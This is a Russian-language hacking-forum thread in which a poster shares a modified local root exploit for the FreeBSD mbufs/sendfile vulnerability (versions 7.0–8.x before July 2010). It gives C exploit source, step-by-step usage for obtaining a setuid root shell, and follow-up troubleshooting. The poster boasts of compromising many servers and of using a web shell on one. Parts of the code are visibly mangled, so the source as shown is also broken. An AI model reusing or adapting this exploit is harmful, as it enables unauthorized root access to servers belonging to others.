![]() |
Выкладываю свою модификацию exploit FreeBSD mbufs(). Vuln version 7.0-8.* до 12.07.10
Сразу говорю уязвимость таже самая и эксплуатируется также. Подвержены уязвимости 7-8 до 12 Июля 2010 г. Моя модификация позволяет всего лишь не мучатся в переделывании шелкода. Шелкоды немного изменены но делают тоже самое. Так же бьёт i386 и amd64. Те кто использовал данный эксплойт (а я им уже не мало фрях свалил ) сталкивались с проблемой запрета запуска из /tmp или к примеру права меняются на все файлы, которые там находятся. А следовательно нужно всё время подтачивать шелкод.... Прежде чем использовать мою версию уже как боевую, запустите скомпелированый файл без параметров и выпадет небольшой хелп. Это позволит вам избежать запоротого /bin/sh и недоумения а почему не работает.!! p.s. советую запускать ещё третий терминал и не как sh а кпримеру bash или csh и тд , это позволит обезопасить от выпадания двух терминалов в аут. p.s. p.s У меня так и случилось на одном из серваков. 2 бека закрылись , а через веб шел яувидел как мой sh стал с +s. вот только его уже было никак не запустить. Собсно код снизу. [CODE] Code: #include #include #include #include #include #include #include #include #include #include #include int sc32( char *, unsigned char * ); int sc64( char *, unsigned char * ); unsigned char str32[ 196 ]; main( int argc, char *argv[ ] ) { int s, f, k2, sizeof_str, flags, n, chunk, arch; struct sockaddr_in addr; char buf[ 10000 ], str[ 256 ], *p; struct stat sb; fd_set wset; int64_t size; off_t sbytes, sent = 0; if( argc != 3 ) { printf( "\n\n Modificated exploit FreeBSD mbufs().\n\n Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n####### This modification can use any directory provided. ########\n####### Just in case you don't have an rwx /tmp ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n (sh++ -> si) don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit i386|amd64 /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n you're lucky:)\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" ); return; } if( strcmp( argv[ 1 ], "i386" ) == 0 ) { sizeof_str = sc32( argv[ 2 ], str ); arch = 1; } else if( strcmp( argv[ 1 ], "amd64" ) == 0 ) { sizeof_str = sc64( argv[ 2 ], str ); arch = 2; } else { printf( "define architecture i386 or amd64\n" ); return; } s = socket( AF_INET, SOCK_STREAM, 0 ); bzero( &addr, sizeof( addr ) ); addr.sin_family = AF_INET; addr.sin_port = htons( 7030 ); addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) ); if( n 0 ) { FD_ZERO( &wset ); FD_SET( s, &wset ); n = select( f + 1, NULL, &wset, NULL, NULL ); if( n 0 ) { sbytes = 0; if( arch == 1 ) n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 ); else if( arch == 2 ) n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 ); // n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 ); if( n |
На чем тестил?
|
Цитата:
bash# cp -f /home/test/si /bin/sh P.S. Ещё раз повторю, дабы не было недопонимания, это не мой новый сплойт или найденная уязвимость, это возможность воспользоваться сплойтом тем кто так или иначе не смог переписать шелкод. |
Народ будьте аккуратней при копировании. Я ща заметил, что к примеру, в шелкоде появились лишние пробелы! Если что выкладываю оригинал сюда
Скачать файл cachemy.c З.Ы. shell_code возможно это и послужило падению сервака |
Цитата:
|
терминал отлетает 2 (на котором открываем 7030 порт), че делать? ОС у меня 7.0-RELEASE-p11, пробовал FreeBSD local r00t zeroday, но там я смотрел rtld.c пропатчен, что посоветуете? И вот это не понятно
Цитата:
|
Цитата:
|
основной живой вроде как, который весит на 7030, срабатывает и зависает, sh с правами веб сервера остается
|
Цитата:
|
| Время: 07:55 |